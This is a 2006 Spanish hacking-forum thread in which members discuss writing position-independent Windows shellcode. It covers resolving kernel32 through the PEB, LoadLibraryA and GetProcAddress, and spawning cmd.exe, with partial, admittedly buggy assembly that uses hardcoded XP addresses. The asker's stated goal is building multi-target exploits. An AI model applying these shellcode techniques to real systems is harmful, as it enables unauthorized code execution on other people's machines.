Tema destacado: Suscripción al boletín mensual de elhacker.net
Autor
|
Tema: Auyuda con shellcode "universal" (Leído 2,187 veces)
|
3QU1N0X
Desconectado
Mensajes: 16
got_r00t?
|
Hola, llevo tiempo en el mundillo del hacking pero no me he enfocado lo suficiente en las scode... he aprendido como hacer una scode no universal y para mi es una jodedera inmensa cambiar para cada versión de SO por una librería, así que estos días he estado buscando info de shellcodes universales... me he currado algunos textos de PE y su estructura y las librerias y concluyendo que: todo programa llama a kernel32.dll (obligatoriamente) y consiguiendo el offset de está librería y de sus funciones LibraryLoadA y GetProcAdress podría ejecutar alguna otra librería (como msvcrt.dll) para ejecutar System (tipo texto de Rojodos)... eso es lo que tengo entedido (si estoy cayendo en algo, por favor corregidme). Mi duda viene acá: después que ya he conseguido los offset de kernel32.dll (77E40000h), LoadLibraryA (77EB6FC4h) yGetProcAdress (77E5B332h) como haría para en ensamblador pasarle esos offsets para crear abrir una libería (siendo msvcrt.dll). No soy una bestia del ASM. Si estooy llendome por otro lado corregidme. Gracias de antemano. 
|
|
|
|
|
En línea
|
--- In a world without doors i crash a wall ---
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
http://foro.elhacker.net/index.php/topic,130073.0.htmlaunque los argumentos de las funciones tipo C, FILO es: push Offset"msvcrt.dll" call DireccionDeLoadLibraryA push Offset"system" push eax call DireccionDeGetProccAdress es decir si la funcion es: system("algo"); tu haces: push OffsetDe"algo" call system  si tiene mas argumentos, los metes en orden inverso y si es FIFO entonces en orden normal. Saludos!!
|
|
|
|
|
En línea
|
|
|
|
3QU1N0X
Desconectado
Mensajes: 16
got_r00t?
|
Gracias por tu text Sdc... ya lo había leido antes... increible. Con respecto a tu respuesta dejame ver si entendi:
se pushea el offset de la libreria msvcrt y para eso llamo a la dirección de LoadLibraryA (¿se podría entender que su dirección es su offset?), se pushea la dirección de la funcion "system" de la librería antes pusheada mscvrt.dll se pushea eax y finalmente se llama a la dirección (que supongo sepodría entender como el offset) de la función GetProccAdress.
y ese algo sería el cmd.exe y como dice el texto de Rojodos (increible manual) podría:
push ebp ---------- Empezando la variable mov ebp,esp ---------- Empezando la variable xor edi,edi --------- Aki se ponen el null push edi ----------- Se pushea el null sub esp,04h ---------- Se sustraen 4 bytes para "CMD.EXE"/0 mov byte ptr [ebp-08h],63h --------- C mov byte ptr [ebp-07h],6Dh -.------- M mov byte ptr [ebp-06h],64h ---------D mov byte ptr [ebp-05h],2Eh ------- . mov byte ptr [ebp-04h],65h ------- E mov byte ptr [ebp-03h],78h -------X mov byte ptr [ebp-02h],65h ----- E lea eax,[ebp-08h] ------------------------- Se lee el CMD.EXE/0 push eax ----------------------- Se pushea el CMD.EXE/0 push Offset"msvcrt.dll" call DireccionDeLoadLibraryA push Offset"system" push eax call DireccionDeGetProccAdress mov ebx, Offset"system" call ebx
¿Se podría hacer algo así? quedando:
push ebp ---------- Empezando la variable mov ebp,esp ---------- Empezando la variable xor edi,edi --------- Aki se ponen el null push edi ----------- Se pushea el null sub esp,04h ---------- Se sustraen 4 bytes para "CMD.EXE"/0 mov byte ptr [ebp-08h],63h --------- C mov byte ptr [ebp-07h],6Dh -.------- M mov byte ptr [ebp-06h],64h ---------D mov byte ptr [ebp-05h],2Eh ------- . mov byte ptr [ebp-04h],65h ------- E mov byte ptr [ebp-03h],78h -------X mov byte ptr [ebp-02h],65h ----- E lea eax,[ebp-08h] ------------------------- Se lee el CMD.EXE/0 push eax ----------------------- Se pushea el CMD.EXE/0 push 77BE0000h ------------- Base de dirección de msvcrt.dll call 77EB6FC4h ------------- Offset LoadLibreryA push 77BF8044h ------------- Offset System push eax call 77E5B332h ---------- Offset GetProcAdress mov ebx, 77BF8044h call ebx
¿No se ha pusheado la dirección de kernel32.dll pq ya está cargada, no?
¿Estaría así creando una shell para cualquier plataforma Win o acaso estoy utilizando indebidamente o más de lo necesario la librería msvcrt.dll?, que no todos los programas la cargan y se ubica diferente dependiendo del servicepack, lenguaje,etc
Aki en este código más de un error debe haber; dudo que la haya pegado todas de una sola XD. Si puedes corregidme mis erores te lo agrdecería mucho, en los años que llevo en el hacking siempre me especialize en la seguridad de redes y su estructura así que ahora estoy en esto.
Gracias de antemano.
P.D: Muy buen texto el tuyo, muy teórico pero excelente y amplio.
Salu2
|
|
|
|
|
En línea
|
--- In a world without doors i crash a wall ---
|
|
|
3QU1N0X
Desconectado
Mensajes: 16
got_r00t?
|
Joer, ya va, algo de último momento tontísimo que me acabo de dar cuenta... si en el shellcode pusiera el offset de system y de mscvrt.dll (que cambia segun el ServicePack, lenguaje y de más) como diántres estaría haciendo una scode para cualuier Win si los offsets de mscvrt.dll y system, (en la máquina que se vaya a ejecutar es muuuuuuuuuuuy probable que difiera en muchas cosas a mi WinXP) tener el mismo offset ?. Me acabo de dar cuenta apenas postee y quería agregar esto. Gracias. Ehhhhh, ya va, podría hacer un LoadLibraryA = (msvcrt.dll) y un GetProcAddress = (msvcrt.dll, system) , lo paso a ensamblador y así estaría llamando a la función system pero no directamente con los offsets sino con los offsets se LoadLibraryA y GetProcAdress que vienen de una librería (kernel32.dll) que cargan todos los programas con los mismos offsets obligatoriamente, y siendo los offsets de mi WinXP de la librería kernel32.dll iguales a cualquier otro win y ¡sería universal para Wins! ufff se me estan viniendo ideas. Ahora para pasar eso a ensamblador.... ummmm interesante, imagino algo como... lo que puse en el mensaje anterior, aunque no se me está muy claro sobre todo a estas altas horas de la noche/madrugada XD. Les agradecería muchísimo que los que me pudieran responder lo hicieran. Disculpen la lluvia de preguntas pero es sed de conocimineto amigos... (no me sentía con tantas ideas desde que estaba aprendiendo Hijacking DNS avanzado con paquetes spoofing en 3 direcciones con respuestas sin terminar XD). Y como siempre, gracias de antemano  P.D.I: Cantidad de mis ideas y gran parte de código ASM que puse antes es de una shellcode simple de Rojodos, gracias por la ayuda indirectamente XD. Salu2!!
|
|
|
|
« Última modificación: 3 Septiembre 2006, 07:16 por 3QU1N0X »
|
En línea
|
--- In a world without doors i crash a wall ---
|
|
|
byebye
Desconectado
Mensajes: 5.093
|
y siendo los offsets de mi WinXP de la librería kernel32.dll iguales a cualquier otro win y ¡sería universal para Wins! estas confuso, serian los mismos offsets que en windows con tu service pack y version. en otro no funcionara al no tener las mismas direcciones. tienes que encontrar primero el manejador de kernel32, es decir su base. despues sacar la funciones GetProcAddress y despues de esto ya puedes sacar las funciones que necesites tan tranquilo. no tienes pq usar system, winexec que esta en kernel32 ejecuta. tampoco tienes pq usar cmd.exe, con usar cmd tb lo ejecuta, asi puedes pushear directamente el valor cmd,1 despues poner donde va el 1 un 0 y ya tienes tu cadena. es decir algo asi: jmp datos seguimos: pop eax xor byte [eax+3],1 datos: call seguimos db 'cmd',1
|
|
|
|
|
En línea
|
|
|
|
3QU1N0X
Desconectado
Mensajes: 16
got_r00t?
|
Pero la imagen base del kernel32 tampoco es igual en todos los wins... por ejplo en la mia es: 77E40000h mientras que en otra PC con win Xp sp2 32-bits (mi versión es 64 bits) es: 77C80000h  , entonces... ¿de que me guio?, ¿no hay algún manual de shell universales un poco más práctico?, debe haberlo, alguien que haya logrado hacer una y diga como lo logró y sus fundamentos, aunque sea en inglés. He leido que en una estructura PE casi todos los ejecutableds se cargan en: 0004000h y 3h después se encuentra el encabezado de compatibilidad con DOS y 80h más abajo de eso (0004083h) es que empezariamos a explorar, donde empiezan las tablas de importación y eso, pero joder en todos loas manuales dice eso y la estructuras de cada tabla y que hay que obtenerlas y llamarlas y recíprocamente, pero, no sale bien específicado com hacerlo o almenos una pista, solo al final, lo máximo que he visto es una scode universal pasada ya a hexadecimal!  que descarga un programa de un servidor web, que creo que nisiquiera lo ejecuta... ¿alguien conoce algún buen manual sobre shellcodes universales que sea un poco (entre más práctico, mejor) práctico?. P.D: gracias "-" he entendido más o menos tu punto, y lo de los offsets me confundí con sus bases XD era eso de las 3 de la mañana cuando postee, disculpen. Perdonen errores otográficos.  Saludos! y Gracias.
|
|
|
|
« Última modificación: 3 Septiembre 2006, 19:54 por 3QU1N0X »
|
En línea
|
--- In a world without doors i crash a wall ---
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
aqui lee como se obtiene la imagen base de kernel32: http://foro.elhacker.net/index.php/topic,130073.0.htmlhay 2 codigos que explico como se obtiene. una ves que ya la tienes, rastreas las funciones que deseas.. tambien esta ese codigo.. una ves que lo hiciste, llamas a la funcion, de LoadLibraryA despues a la de GetProccAddress y en EAX se guardara la direccion de la funcion que quieres. lee los documentos que anexe en ese topic tambien. Saludos!!
|
|
|
|
|
En línea
|
|
|
|
3QU1N0X
Desconectado
Mensajes: 16
got_r00t?
|
Joder!!!!! Claro!!!  no me había dado cuenta!! el PEB!! ummm... se me había ocurrido sacarla con los SEH pero ya se alargaría mucho... bastante clarito... ahora ya puedo empezar a crear mis exploits si preocuparme de poner los inputs de: 0 ----- para tal SO 1 ------ para cual SO 2 ----- otro SO (al estilo DCOM vulnerability) ¡Muchas gracias!,  he aprendido mucho estos último 2 días (sobre todo ASM). Salu2!!
|
|
|
|
|
En línea
|
--- In a world without doors i crash a wall ---
|
|
|
|
|